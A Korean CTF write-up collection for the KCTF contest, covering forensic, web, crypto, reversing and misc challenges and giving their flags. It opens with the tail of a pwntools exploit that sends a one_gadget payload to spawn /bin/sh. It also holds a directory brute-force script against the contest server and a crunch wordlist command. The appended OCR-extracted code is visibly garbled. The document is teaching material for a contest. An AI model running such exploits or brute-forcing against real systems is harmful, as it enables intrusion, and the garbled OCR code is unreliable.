0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

payload3 = 'A'*8
payload3 += p64(one_gadget)

r.sendlineafter(">> ",'1')
r.sendlineafter(">> ",payload3)
r.sendlineafter(">> ","4")

r.interactive()
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[bookmark: _Toc535623155]FORENSIC

[bookmark: _Toc535623156]Hold Me!
출제자 : YB_Band
출제의도 : 스펙트로그램을 활용한 메시지 은닉기법
[image: ]
view on spectrogram!
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호오? 저기 뒷부분에 이상하게 파형이 높네요? 그러면 분석해야 진정한 해커겠죠?.
문제에서 스펙트로그램이라고 하네요?
[image: ]
흠… 수상하죠? 확대해 봅시다

[image: ]
바로 나왔어요 ^^
그래서 답은 KCTF{You_have_good_hearing} 입니다.
다들 수고하셨습니다!!



[bookmark: _Toc535623157]Can you read this?
출제자 : skyhell
출제의도 : File Carving, File signature에 대한 학습
[image: ]
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그냥 zip파일이 하나 있다.
[image: ]

쭉 까보면 이런 파일을 하나 얻는다.

[image: ]

분명 jpg파일인데 FF D9로 안끝나고 뒤에 PNG파일이 있다. 그럼 앞부분을 날려보자.

[image: ]

그런데 PNG파일의 끝부분인 IEND를 쳐도 뒤에 뭐가 더 있다. 형식으로 보면 mp3인것같다. 뒤도 다 지우자.
[image: ]

그럼 이런 그림파일이 나온다. 모스부호 같다. 한번 해독해보자.
KCTF{D0_Y0U_LIK3_M0RS3???}
Flag가 나온다.



[bookmark: _Toc535623158]ANAGRAM?
출제자 : ch4rli3kop
출제의도 : File Carving, File signature에 대한 학습

[image: ]
평범한 포렌식 문제입니다. 500점짜리 문제였는데... 어느새 50으로 된 것.. ㅎㅎ
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flagISHere.jpg를 열어보면 위와 같이 Anagram이라는 키워드를 제공합니다. 네 그렇습니다. 이 문제는 사실 아나그램과 밀접한 관련이 있는 문제였습니다…  여튼 해당 파일에서 다른 파일의 시그니처를 검색해보면(feat binwalk) 다음과 같이 flag.docx 라는 문서파일을 품고 있는 Zip 파일을 발견하실 수 있습니다.

	ch4rli3kop@ubuntu:~/Desktop/KCTF/forensic1 ANAGRAM$ binwalk flagIsHere.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8
709660        0xAD41C         Zip archive data, at least v2.0 to extract, compressed size: 9557, uncompressed size: 12266, name: flag.docx
719347        0xAF9F3         End of Zip archive



Zip 파일의 경우, 시그니처가 Header, Footer 두 가지가 모두 존재합니다. 50 4B 03 04로 시작하고 50 4B 05 06으로 끝납니다. 따라서 해당 구간 사이에 존재하는 데이터를 모으면 Zip 파일을 추출하실 수 있습니다. Zip 파일을 압축을 해제하면 다음과 같이 flag.docx 파일을 보실 수 있습니다.

flag is KCTF{A_DEER_IN_THE_XXXXXXXXXX}



ㅎㅎ.. 여기서 끝내기에는 너무 간단하겠죠? 그래서 이 문제의 핵심은 저 뒤의 XXXXXXX에 해당하는 값을 찾아서 플래그를 완성하는 것에 있습니다.

binwalk같은 자동 추출도구를 사용하신 분들은 아마 확인을 못하셨을 것 같은데, hxd 같은 도구로 파일을 직접 살펴보신 분들은 이상한 점을 발견하셨을 것 같습니다. 아니 분명 Zip 파일을 추출했는데?? 추출한 거 뒤에도 데이터가 엄청 많이 있쒀! 

이 점이 중요합니다. 파일의 데이터를 자세히 살펴보면 아래 그림과 같습니다. 먼저 Zip 파일 footer 시그니처 부분입니다. DNEI 가 보이네요?

[image: ]

이번에는 flagIsHere.jpg 파일의 끝 부분을 한 번 살펴봅시다! 어? RDHI…? GNP…?
[image: ]

흠 눈치를 채신 분들도 있겠지만 PNG 파일의 시그니처입니다. 물론 뒤집혀져 있지만!. 
지금까지 파악한정보들을 토대로 flagIsHere.jpg 파일의 구조를 살펴보면 아래와 같습니다.

	JPG File Format

	ZIP File Format

	Reversed PNG File



저 Reversed PNG File 데이터를 카빙하여 다음과 같은 코드를 사용해서 byte reverse 한다면, 아래와 같은 PNG File을 얻으실 수 있습니다.

	import binascii

before = open('reverse','rb')
before_read = before.read()
before.close()

byte = bytearray(before_read)
byte.reverse()
after = open('reversed','wb')
after.write(byte)
after.close()
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“HALT SIGHED” 라는 단어가 보이는데, 제일 처음 문제에서 알려준 ANAGRAM 이라는 키워드를 통해 해당 문자는 ANAGRAM 이라는 것을 알 수 있습니다. 

온라인에서 적당한 도구들을 사용하면 HEADLIGHTS 가 된다는 것을 확인하실 수 있습니다!

KCTF{A_DEER_IN_THE_HEADLIGHTS}


출제 의도에서도 설명했다시피 이번 문제는 여러분들이 우선 jpg 파일 안에 숨겨놓은 다른 파일들을 카빙하는 방법을 익히는 것을 의도했습니다. 물론 그것뿐이라면 정말 쉬운 문제겠죠? 그래서 일부러 플래그를 일부분만 줘서 뒤의 다른 파일을 통해 남은 플래그를 완성하라는게 목적이었는데… 시그니처 검색을 통해 저게 PNG File이라는 것을 깨닫게 만드는게 목적이었는데…

어… 안돼요.. 안돼… 물론 저도 플래그를 유명한 말에서 따오기는 했지만,, 출제 당시에 여러분이 플래그 뒷부분을 인터넷 검색을 찾을 거라는 생각을 못했어요… ㅠㅠ ㅋㅋㅋㅋㅋㅋ

문제 푸신 분들 모두가 이 사진파일이 세 개의 파일로 이루어진 걸 모르시더라구요… 흙 

하… 이 문제가 이렇게 쉽게 풀릴 문제가 아닌데… 저도 많이 당황했습니다 ㅋㅋ큐ㅠㅠ 이번 대회 문제를 만들면서 가장 먼저 만든 녀석이라서 애정을 듬뿍 담아서 만들었는데… ㅠㅠ 담에는 플래그에도 더 신경써서 만들겠습니다….



[bookmark: _Toc535623159]WH3R3
출제자 : ch4rli3kop
출제의도 : 인터넷 채팅 프로토콜에 대한 학습과 PCAP File에서의 Carving 학습
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문제의 시나리오는 위와 같습니다. 용의자와 그의 거래처 간의 채팅 데이터를 분석하여 거래 장소를 알아내는 것이 주 목적입니다. 채팅 데이터를 도청하였다고 하니 제공된 PCAP File 안에서 채팅 프로토콜로 사용되는 프로토콜이 존재하는지 살펴봅시다.

[image: ]

프로토콜들을 살펴보니 채팅 프로토콜로 사용되는 IRC 프로토콜이 보입니다. IRC 프로토콜은 솔직히 요즘에는 많이 사용되는 프로토콜은 아니지만 과거 매우 활발히 사용되던 프로토콜입니다. IRC에 대해서 알지 못하셨던 분들도 해당 PCAP File의 몇 안되는 프로토콜들을 검색해 보셨다면 IRC 프로토콜 Flow가 본 문제의 해결에 밀접한 관련이 있다는 것을 깨달으실 수 있으셨을 겁니다.


WireShark에서 제공하는 Follow TCP stream 기능을 통하면 해당 stream을 한 눈에 보실 수 있습니다.
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ㅎㅎ… 밤 늦게 만든거라 노잼드립 이해해주십쇼.. 

아무튼 뭐슨 파일을 보냈다고 하네요. 이제 해당 PCAP File에서 파일 전송과 관련된 프로토콜을 살펴보면 될 것 같습니다. 
파일 전송과 관련된 가장 잘 알려진 프로토콜은 FTP(File Transfer Protocol) 입니다. 본 파일 역시 FTP를 사용하여 파일을 전송하는 군여. FTP는 두 가지 서비스를 통해서 동작합니다. 한 가지는 Client와 Server 간의 Command와 Response가 오고 가는 Command port(21)이고, 다른 한 가지는 실제 데이터가 오고 가는 Data port(20)입니다. Data port로 사용되는 port 번호는 FTP mode마다 다르기는 하지만 편의상 20이라고 하겠습니다. 

아무튼 본 문제를 해결하기 위해서 저희가 유심히 봐야할 것은 이 FTP-Data 입니다. WireShark filter에 ftp-data로 필터링을 하면 해당 프로토콜 만을 보실 수 있습니다.
[image: ]

벌써부터 파일 이름이 보이네요. go_to_the_place.jpg 라는 이름부터가 이 문제의 해답이라는 것을 보여주는 파일입니다. 자 이제 해당 파일을 추출해봅시다. FTP는 암호화 기능을 제공하지 않아 평문으로 데이터를 전송하기 때문에, 패킷 상의 데이터를 이용하여 파일을 추출할 수 있습니다. (암호화 기능은 FTPS와 SFTP에서 사용.)

아까와 마찬가지로 Follow TCP stream 기능을 사용합니다. 창이 뜨면 하단에 보이는 Show and save data as 에서 데이터 타입을 Raw로 선택합니다. (Raw여야 제대로 추출할 수 있습니다! Ascii로 하면 아스키 타입을 넘어가는 것은 제대로 저장이 되지 않기 때문에 제대로 된 파일 추출이 불가능합니다!)

[image: ]
위의 상태에서 하단의 Save as Stream Content 버튼을 눌러 파일을 저장합니다. 아! 여기서 파일의 형식은 JPG 파일로 저장합니다. 해당 파일이 JPG 파일인지는 아까 파일의 이름으로도 유추할 수 있긴 하지만, 정확하게는 Hex 값에서 존재하는 FF D8 FF E0 00 10 4A 46 49 46가 JPG 파일의 시그니처이기 때문에 알 수 있습니다.


추출된 파일을 열어보면 다음과 같이 인천공항(Incheon Airport)이 보입니다.

[image: ]

KCTF{Incheon_Airport}


본 문제는 두 번째로 만들면서 많은 애정을 쏟아부었습니다… 두 사람의 채팅을 도청한다는 시나리오를 먼저 세워두고 패킷을 캡처하려고 하는데 방법이 생각보다 여의치 않드라구요.. ㅠㅜ  그래서 그냥 로컬에서 IRC 서버를 구축해서 코난과 브라운 박사님의 대화를 캡처했습니다… 생각보다 손을 많이 탔네요. ㅎ 

암튼 그렇게 만든 IRC 채팅을 통해서 FTP로 접근하는게 목적이었는데….
… 안돼요… 안돼… 왜 이 문제도 의도대로 안 푸는 거야… ㅋㅋㅋㅋ ㅠㅠ  힘들게 캡쳐했는데 IRC 건너뛰고 그냥 FTP에서 파일 추출해서 푼 사람도 있어… ㅋㅋㅋㅋ ㅠㅠ (그렇게 푸시면 출제자는 슬픕니다 ㅠㅠ)

그치만 역시 뭐 문제는 풀면 장땡이져 ㅎ… 담에는 반드시 더 철저하게 설계하겠습니다..! 흐읍ㅠ


아무튼 본 문제를 통해서 여러분들께서 프로토콜과 파일 시그니처에 대해서 확실히 잘 배우셨으면 합니다! 






[bookmark: _Toc535623160]Z3ro_W1dtH_SP4C3
출제자 : ch4rli3kop
출제의도 : zero width space 및 유사한 은닉 기법 학습
[image: ]
누가봐도 “사실난띄어쓰기를했다”라는 부분이 의심이 가네요. 아니라구요??ㅎㅎ..잠깐 이쪽으로 와서 얘기 좀 나누시져ㅎ

넹 저 문장을 살펴보면 이상한 점을 발견하실 수 있습니다. 저 문장을 복사한 뒤 커서로 이동하면 굉장히 많은 시간이 걸리는 데요. 실제 저 문장은 유니코드로 보면 다음과 같이 되어있습니다.
	%uC0AC%u200B%u200B%u200B%u200B%u200E%u200B%u200B%u200B%u200B%u200B%u200B%u200D%u200E%u200D%u200B%u200B%u200B%u200B%u200E%u200C%u200F%u200B%u200B%u200B%u200B%u200D%u200F%u200B%u200B%u200B%u200B%u200B%u200F%u200F%u200E%u200B%u200B%u200B%u200B%u200E%u200C%u200F%u200B%u200B%u200B%u200B%u200D%u200F%u200D%u200B%u200B%u200B%u200B%u200D%u200B%u200C%u200B%u200B%u200B%u200B%u200E%u200F%u200B%u200B%u200B%u200B%u200B%u200D%u200F%u200E%u200B%u200B%u200B%u200B%u200F%u200C%u200F%u200B%u200B%u200B%u200B%u200F%u200D%u200D%u200B%u200B%u200B%u200B%u200C%u200F%u200E%u200B%u200B%u200B%u200B%u200F%u200D%u200F%u200B%u200B%u200B%u200B%u200F%u200E%u200C%u200B%u200B%u200B%u200B%u200D%u200B%u200D%u200B%u200B%u200B%u200B%u200E%u200B%u200E%u200B%u200B%u200B%u200B%u200D%u200E%u200D%u200B%u200B%u200B%u200B%u200D%u200B%u200C%u200B%u200B%u200B%u200B%u200E%u200F%u200B%u200B%u200B%u200B%u200B%u200C%u200F%u200E%u200B%u200B%u200B%u200B%u200F%u200B%u200D%u200B%u200B%u200B%u200B%u200E%u200F%u200B%u200B%u200B%u200B%u200B%u200E%u200C%u200E%u200B%u200B%u200B%u200B%u200F%u200D%u200D%u200B%u200B%u200B%u200B%u200D%u200B%u200D%u200B%u200B%u200B%u200B%u200D%u200E%u200D%u200B%u200B%u200B%u200B%u200D%u200F%u200E%u200B%u200B%u200B%u200B%u200F%u200D%u200B%u200B%u200B%u200B%u200B%u200F%u200B%u200E%u200B%u200B%u200B%u200C%u200B%u200B%u200B%uC2E4%uB09C%uB744%uC5B4%uC4F0%uAE30%uB97C%uD588%uB2E4.%20



빨간색 부분이 숨어있는 메시지인데요. Non-printable 한 문자인 zero-width-space(%u200B), zero-width-non-joiner(%u200C), zero-width-joiner(%u200D), left-to-right-mark(%u200E), right-to-left-mark(%u200F)를 이용하여 메시지를 은닉한 걸로 보여집니다. 해당 키워드들을 통하여 decoder를 검색하면 다음과 같이 zwsp-steg tool을 찾을 수 있습니다.

[image: ]

해당 도구 기능을 제공하는 사이트에서 복호화가 가능합니다.

[image: ]


KCTF{TH3_Imp0rt4NC3_0f_Sp4CIng}


해당 문제는 whitespace나 여기서 나온 zero-width-space 같은 non-printable 문자를 이용하여 메시지를 은닉할 수 있다는 것을 여러분들께 소개하기 위해 만들었습니다. 

non-printable한 문자는 굉장히 다양하고, 이런 비슷한 류의 문제도 생각보다? 많이 나옵니다. 물론 스테가노그래피 툴의 종류가 굉장히 다양하여 동일한 도구를 사용할 수 있는 경우는 거의 발생하지 않지만, 그래도 위처럼 도구의 범위를 좁힐 수 있는 키워드로 검색을 한다면 생각보다 쉽게 문제를 해결하실 수 있을 것 같습니다.

(근데 사실 이 문제는 zero width space decoder만 검색해도 풀 수 있다는 건 함정 ㅋ)


고려대학교 세종캠퍼스 사이버보안 정보보안동아리 Kuality


	
[bookmark: _Toc535623161]WEB

[bookmark: _Toc535623162]Your eye is faster
출제자 : skyhell
출제의도 : redirection을 막는 방법에 대한 학습
[image: ]
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접속해보면 flag같은게 뜨다가 이걸로 바뀐다. 앞에 view-source: 를 넣어보자.

[image: ]
이렇게 나온다.
딱봐도 위의 flag는 거짓인것같다. 밑의 주석을 보면 base64로 인코딩 되어있는 것 같다.
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이렇게 나온다. 한번 더 해보자.
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flag가 나온다.

KCTF{I_LIK3_R3DIR3CTING@@}




[bookmark: _Toc535623163]Hunter
출제자 : YB_Band, skyhell
출제 의도 : 웹은 다른 분야를 담을 수 있다는 생각을 넣어주려고 만든 문제이다. 스테가노그래피를 추출한 뒤 파일 시그니처에 관한 지식을 쌓았으면 한다.
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이미지만 있네요? (누가 이렇게 문제를 주냐?) 
이미지를 다운받습니다. 문제에서 ‘스테가노그래피’라고 적혀 있었죠? (너가 왜 거기에 있어?)
스테가노 툴 중 하나인 ‘openstego’를 사용합니다. 
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이렇게 설정을 하고 추출을 하면
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추출이 완료되었어요!!

[image: ]
이렇게 나오네요 hxd를 사용하라고 하니 실행해 봐야겠군요. 
[image: ]
앞 부분에 LOL이 채워져 있군요. 그리고 2번째 줄 부분을 보면 파일 시그니처는 정상인 걸 알 수 있습니다. 고로, LOL!!! 뭐시기만 지우면 될 것 같네요
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오….
그래서 Flag는 KCTF{Y0u_did_g00d_job_^^7_misc+web}입니다.

 (사실 저도 이렇게 낼 줄은 몰랐어요…)(#19학번 미안해!!)(#skyhell이 나쁜 사람이야)


KCTF{Y0u_did_g00d_job_^^7_misc+web}









[bookmark: _Toc535623164]Hidden
출제자 : skyhell
출제의도 : base64와 크롬 콘솔창에 대한 학습
[image: ]
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Html 파일을 들어가보면 이런게 나온다. 소스코드를 보자.

[image: ]
이런게 있다. Base64로 쭉 디코딩해보자.

[image: ]
이런게 나온다.

[image: ]
Flag가 나온다.

KCTF{C0M3_BACK_H0M3}



[bookmark: _Toc535623165]Java Challenge
출제자 : skyhell
출제의도 : 자바스크립트 난독화에 대한 학습
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문제를 들어가면 이렇게 나와있다. 소스코드를 보자.

[image: ]
소스코드에서 중요한 부분은 이 부분 같다. 일단 알파벳으로 나눈 것을 기준으로 엔터를 쳐보자.
[image: ]
그럼 이런식으로 나온다. 저걸 합쳐보자.

[image: ]
그럼 이렇게 쭉 나온다.

[image: ]
%를 공백(space bar)으로 바꿔주자.
그리고 https://www.dcode.fr/ascii-code여기 넣어서 복호화 해보자.

[image: ]
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저기 보면 flag를 찾을 수 있다.


KCTF{1_L1K3_TH1S_C0D3}



[bookmark: _Toc535623166]Find me
출제자 : skyhell
출제의도 : 웹 brute force에 대한 학습
[image: ]

문제를 들어가보면 아무것도 보이지 않는다. 일단 그럼 소스코드를 보자.

[image: ]
이것만 있다. 아마 guessing문제인것같다. 그럼 저 힌트에 관련된 것을 다 넣어볼수도 있겠지만 그냥 간단한 스크립트를 짜서 풀어보자.
[image: ]
이렇게 짜주면 될 것 같다. 

[image: ]
저기 dictionary.txt는 이런식으로 crunch를 이용해서 만들어준다.

[image: ]
그러면 이렇게 Can이라는 디렉토리가 나온다.

[image: ]
주소창에 쳐주면 이것이 나왔다. Directory traversal문제인것같다. 쭉 들어가보자.
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이런 것이 있다. 헥스 디코딩을 해보자.
[image: ]
이것이 나온다. 대충 모양이 비슷하다. 리버스를 해보자.
[image: ]
답이 나온다.

KCTF{GR3AT_J0B:)}



[bookmark: _Toc535623167]M4Th W3b CH4ll3Ng3
출제자 : skyhell
출제의도 : 웹 프로그래밍 연습
[image: ]
[image: ]
들어가면 이렇게 나온다. 코드를 짜서 풀어보자.

[image: ]
이렇게 짜면 
[image: ]
이렇게 나온다.


KCTF{N1C3_CACU1A70R}

[bookmark: _Toc535623168]CRYPTO

[bookmark: _Toc535623169]C43S4R
출제자 : ch4rli3kop
출제의도 : Caesar 암호 학습
[image: ]
CipherText.txt를 열면 다음과 같은 문자들이 보입니다.
btkw{trvjri_tzgyvi_zj_aljk_jyzwkzex_kvok}
넹 시저암호네요. 9 만큼 Shift 하면 플래그가 나옵니당. 이걸 대문자로 바꿔주시면 플래그님이 나오시겠습니다.

KCTF{CAESAR_CIPHER_IS_JUST_SHIFTING_TEXT}


[bookmark: _Toc535623170]Operation 1
출제자 : H0H~%%^^
출제의도 : 연산자 표현

def operation(str1,str2):
	s=""
	for ch1,ch2 in zip(str1,str2):
		AopB = ~(ord(ch1)&ord(ch2))
		s+=chr(~((~(ord(ch1)&AopB))&(~(ord(ch2)&AopB))))
	return s

이 연산은 XOR연산이다. 따라서 단순히 암호문과 평문을 XOR연산을 해주면 문제가 해결된다.

[bookmark: _Toc535623171]REVERSING

[bookmark: _Toc535623172]AS
출제자 : ch4rli3kop
출제의도 : 리버싱문제가 적어서 한 몸 보태봤다. 간단한 어셈블리 학습
[image: ]
문제를 살펴보면 간단한 어셈블리 코드를 주고, 해당 결과를 유추하라는 방식입니다. 
main코드에 대해 자세히 설명을 덧붙인다면 다음과 같을 것 같네요.

	0x0000000000400596 <+0>:   55 push   rbp
   0x0000000000400597 <+1>:   48 89 e5 mov    rbp,rsp
   0x000000000040059a <+4>:   48 83 ec 40 sub    rsp,0x40
   0x000000000040059e <+8>:   64 48 8b 04 25 28 00 00 00 mov    rax,QWORD PTR fs:0x28
   0x00000000004005a7 <+17>:  48 89 45 f8 mov    QWORD PTR [rbp-0x8],rax
   0x00000000004005ab <+21>:  31 c0 xor    eax,eax
   0x00000000004005ad <+23>:  48 c7 45 c0 00 00 00 00 mov    QWORD PTR [rbp-0x40],0x0
   0x00000000004005b5 <+31>:  48 c7 45 c8 00 00 00 00 mov    QWORD PTR [rbp-0x38],0x0
   0x00000000004005bd <+39>:  48 c7 45 d0 00 00 00 00 mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004005c5 <+47>:  48 c7 45 d8 00 00 00 00 mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004005cd <+55>:  48 c7 45 e0 00 00 00 00 mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004005d5 <+63>:  48 c7 45 e8 00 00 00 00 mov    QWORD PTR [rbp-0x18],0x0


위의 부분들은 차례대로, rbp와 rsp의 위치를 잡아주며 스택 프레임을 생성하는 부분, Canary를 생성하는 부분, 스택의 변수 영역으로 추정되는 공간을 초기화해주는 부분이라고 볼 수 있겠습니다.


	0x00000000004005dd <+71>:  b9 60 10 60 00 mov    ecx,0x601060 <str3>
   0x00000000004005e2 <+76>:  ba 50 10 60 00 mov    edx,0x601050 <str2>
   0x00000000004005e7 <+81>:  be 40 10 60 00 mov    esi,0x601040 <str1>
   0x00000000004005ec <+86>:  bf a4 06 40 00 mov    edi,0x4006a4
   0x00000000004005f1 <+91>:  b8 00 00 00 00 mov    eax,0x0
   0x00000000004005f6 <+96>:  e8 75 fe ff ff call   0x400470 <printf@plt>


여기가 제일 중요한 구간입니다. Linux 64bit OS에서는 인자 전달로 rdi, rsi, rdx, rcx… 순으로 진행됩니다. 해당 부분을 보아하니 printf 함수의 인자를 전달하고 있네요. “%s%s%s”와 <str1>, <st2>, <str3>가 함수의 인자로 들어갑니다. 위의 어셈블리 코드를 C코드로 나타낸다면, printf(“%s%s%s”,st1,str2,str3); 으로 구현할 수 있습니다. 


	0x00000000004005fb <+101>: b8 00 00 00 00 mov    eax,0x0
   0x0000000000400600 <+106>: 48 8b 55 f8 mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000400604 <+110>: 64 48 33 14 25 28 00 00 00 xor    rdx,QWORD PTR fs:0x28
   0x000000000040060d <+119>: 74 05 je     0x400614 <main+126>
   0x000000000040060f <+121>: e8 4c fe ff ff call   0x400460 <__stack_chk_fail@plt>
   0x0000000000400614 <+126>: c9 leave  
   0x0000000000400615 <+127>: c3 ret


요 부분은 뭐 그냥 아까 생성한 Canary를 체크하고 스택 프레임을 정리하는 구간입니다.


정리하자면 해당 프로그램은 결국 printf(“%s%s%s”,str1,str2,str3); 을 구현한 것 입니다. 여기서 str1 등도 해당 값을 기계어로 해석할 때의 어셈 코드와 함께 보여줘서 그렇지 사실 문자열입니다. 

%s는 NULL(\x00)을 만나기 전까지 출력하므로 해당 문자열들을 모아본다면 다음과 같은 플래그를 얻을 수 있습니다.

KCTF{V3Ry_v3RY_S133py...}
[bookmark: _Toc532244169]


[bookmark: _Toc535623173]TRANSFORMER
출제자: skyhell
출제의도: 간단한 리버싱에 대한 학습
[image: ]
파일을 받아 문제를 분석해보자.
[image: ]
여기서 암호화된 구문을 볼 수 있다.
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아이다로 까보면 LABEL_19에 도달하면 풀린다고 나와있다.

[image: ]
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쭉 보고 역으로 연산하는 것을 짜보자.
[image: ]
이걸 돌려보자.

[image: ]
이렇게 flag가 나온다.

KCTF{OptiMusPrimE}


















[bookmark: _Toc535623174]MISC

[bookmark: _Toc535623175]rock-paper-scissors master!
출제자 : ch4rli3kop
출제의도 : 자동화 프로그래밍 혹은 노가다. 그냥 재미로 냈음.
[image: ]
주어진 port로 nc를 이용하여 접속해보면 다음과 같이 가위바위보 게임을 진행할 수 있습니다. 

[image: ]

게임을 진행하다 보면 컴퓨터는 유저에게 거의 대부분 비기거나 이기는 것을 확인할 수 있을 텐데, 문제 설명에서 설명하는 것처럼 유저가 컴퓨터를 이길 확률은 0.01의 확률입니다. 컴퓨터에 크게 관심이 없던 친구들도 풀 수 있게 일부러 노가다가 가능하게 설정하였습니다. (근데 실제로 뭔가 생각보다 0.01가 잘 터지는 거(?) 같네요. 첫빠따로 걍 플래그 나오시는 분도 있던뎅..ㅎ)
암튼 계속 그냥 아무거나 막 내셔서 0.01 확률에 걸리도록 하면 풀 수 있는 문제입니다. 직접 노가다로 두들기거나 대충 아래 코드처럼 짜서 돌리시면 될 것 같습니당.
	from pwn import *

r = remote('ctf.kuality.kr',12345)

while True:
	content = str(r.recv(0x130,timeout=0.1))
	index = content.find('KCTF{')
	if index != -1 :
		print(content[index:])
		r.close()
		break
	r.send('1')

r.interactive()



[image: ]

KCTF{W0W!_Y0u_g0t_R3411111y_LuCky!}



[bookmark: _Toc535623176]The ATTACK of Predator
출제자 : ch4rli3kop
출제의도 : 다양한 알파벳 학습. 걍 재미로 냄.
[image: ]
[image: ]

위의 그림에 있는 문자는 yautja language혹은 predator alphabet이라고 불리는 언어입니다. 
적당히 문제 이름에 있는 predator를 키워드로 삼아 검색해보면 아래와 같은 문자표를 찾을 수 있습니다.

[image: https://i.pinimg.com/originals/06/f4/cf/06f4cf4041855b680b9be7a0e987cd05.jpg]


KCTF{NaDo_SOg0gi_M30ggo_s1pd4}

사실 위가 처음 설정해놓은 플래그인데,, 문자마다 아주 미세한 차이를 가진 게 있어서 솔직히 제가 그린 허접한 그림으로는 정확히 태가 안나는 것들이 있습니다..  그래서 비슷한 문자들은 다 플래그가 되도록 때려박은건 안비밀..ㅎ



[bookmark: _Toc535623177]Beware of SNS
출제자 : ch4rli3kop
출제의도 : 그냥 재미.
[image: ]
[image: ]

위의 김치만두맛있다의 아이디를 통해 김치만두맛있다를 검색하면, 다음과 같이 플래그를 확인할 수 있습니당.

[image: ]


KCTF{m4NDu_1S_thE_m0S7_P3rFeC7_f0oD}



[bookmark: _Toc535623178]M4th Ch4ll3ng3
출제자 : ch4rli3kop
출제의도 : 프로그래밍
[image: ]
nc로 접속하면 아래와 같이 수식이 나옵니다. 해당 식의 결과 값을 제대로 입력해주면 right answer이라는 말과 함께 문제가 계속 나오는데요. 문제 설명에 나온 것처럼 이 과정을 100번만 반복해주시면 된답니당.

[image: ]

	from pwn import *
 
r = remote('ctf.kuality.kr',12348)

r.recvuntil('Then, Work hard!\n\n')
for i in range(0,100):	
	tmp = str(r.recvline()[:-5])
	answer = eval(tmp)
	r.sendlineafter('> ',str(answer))
	r.recvuntil('OK right answer!\n\n',timeout=0.1)
r.interactive()
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KCTF{Pr0gr4Mm1ng_1s_4lw4Ys_R3qu1r3d}
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KCTF

"KCTF

Event ends in 11 hours, 2 minutes
Duration: 12.07 14:00 ~ 12.09 02:00 [KST]
Ask for information : pch2180@gmail.com or 010-2514-2180
Please join the this chat = discord

Please check the rule == rule
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Challenge 7 Solves

Find Me!
338

You can't find it
ctfkuality.kr:12362

hint : directory traversal, directory length is 3
author : skyhell

Flag Submit
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from urllib.request import urlopen
#ron urllib.request import HTTPError
From bs4 import BeautifulSoup

NOU A WN R

Fron time import sleep
File - open('./dictionary.txt',"r")
data - File.readlines()

8V for j in data:

9 url = “http://ctf.kuality.kr:12362/"
10 url += j

1v try:

12 sleep(0.05)

13 print ("testing...")

14 a - urlopen(url)

15 except HTTPError as e:

16 continue

17v else:

18 print ("I Found! : " + url)
19 breal
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hj@ubuntu:~$ sudo crunch 1 5 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ -o test.txt
Crunch will now generate the following amount of data: 2318352920 bytes

2210 MB

2 GB

o T8

o PB

Crunch will now generate the following number of lines: 387659012

crunch: 7% completed generating output
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testing
testing
testing
testing
| Found! : http://ctf. kuality. kr:12362/Can

Process finished with exit code O
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Index of /Can
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Challenge 2 Solves

M4Th W3b CH4LlL3Ng3
496

Let's do a mathematical showdown with a computer.

ctf kuality.kr:12361
author : skyhell

Flag Submit
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Answer

Answer the following methematics questions for 20 times. You have three seconds to solve each question
In order to protect the server you can't answer one question in less than one second
You have answered 0 questions

549+920+549*920= send!
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import requests
inport time
fron bs4 import BeautifulSoup as bs

sess - requests.session()
url = “http://ctf.kuality.kr:12361/"
c - sess.get(url).content

b - bs(c, "Lxml")

ans -
for i in b.find all('div'):
ans - ans + i.text
res - eval(ans[:-1])
while True:
try:
time.sleep(1)
c - sess.post(url, {"ans": res}).content
b - bs(c, "Lxml")
ans - "7
for i in b.find_all('div'):
ans - ans + i.text
res - eval(ans[:-1])
except:
print(c)
break
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C:#lsers#Hl#anaconda3ioython.exe C:/Users/HJ/PycharnProjects/tensorflow/test500.py
b*KCTF{N1 C3_CACUTATOR} "
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Challenge 19 Solves

C43S4R
50

Decode This!

flag format : capital!

author : ch4rlikop

Flag Submit
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Challenge 7 Solves

AS
274

What is the result?

author : ch4rlikop

Flag Submit
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Challenge 7 Solves

TRANSFORMER
306

Find The Right Key!
flag format : KCTF{answer}

e

author : skyhell




image105.png
.rdata:0040321C aTzdsrecubswj db 'TzdsRecUbswl',0 5 DATA XREF: _dynamic_initializer_for_ passwd_ +16%0
.rdata:00403229 align 4
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correct!”
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fint __cdecl main()

K

std::basic_string<char, std: :char_traits<char>,std: :allocator<char> > *v0; // ecx
std::basic_string<char, std: :char_traits<char>,std: :allocator<char> > *vi; // edx
unsigned int v2; // esi

bool v3; // cf

unsigned __int8 v4; // al

unsigned __int8 v5; // al

unsigned __int8 v6; // al

int v7; // eax

const char *v8; // edx

basic_ostream<char,std: :char_traits<char> > *v9; // eax
::basic_string<char,std: :char_traits<char>,std: :allocator<char> > *vi1; // [esp+h] [ebp-8h

std: :operator<<<std: :char_traits<char>>(
ostream<char, std: :char_traits<char> > **)std: :cout.gap@,

std: zoperator>><char, std: :char_traits<char>, std: :allocator<char>>(
*(std: :basic_istream<char,std: :char_traits<char> > **)std::cin.gape,
vi1);
Vo = &passwd; |
V1 = 8aa;
if ( passwd._Mypair._Myval2. Myres >= @x10 )
V0 = (std::basic_string<char,std: :char_traits<chars,std: :allocator<char> > *)passwd._Mypair. Myval2. Bx._Ptr;
if ( aa._Mypair._Myval2. Myres >= 0x10 )
V1 = (std::basic_string<char,std: :char_traits<char>,std: :allocator<char> > *)aa._Mypair. Myval2. Bx._Ptr;
if ( aa._Mypair. Myval2. Mysize != passwd._Mypair. Myval2. Mysize )
goto LABEL_20;
v2 = aa._Mypair._Myval2. Mysize - 4
if ( aa._Mypair._Myval2. Mysize < 4 )
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i
LABEL_9:
if (v2==-4)
goto LABEL_18;

}

else

while ( vi->_Mypair. Myval2. Bx._Ptr
{

v0->_Mypair._Myval2._Bx._Ptr )

asic_string<char,std
asic_string<char,std

har_traits<char>,std
har_traits<char>,std

allocator<char> > *)((char *)vi + 4);
allocator<char> > *)((char *)v + 4);

goto LABEL_9;

3 = (unsigned _int8)vi-> Mypair. Myval2. Bx._Buf[@] < vO-> Mypair. Myval2. Bx. Buf[e];
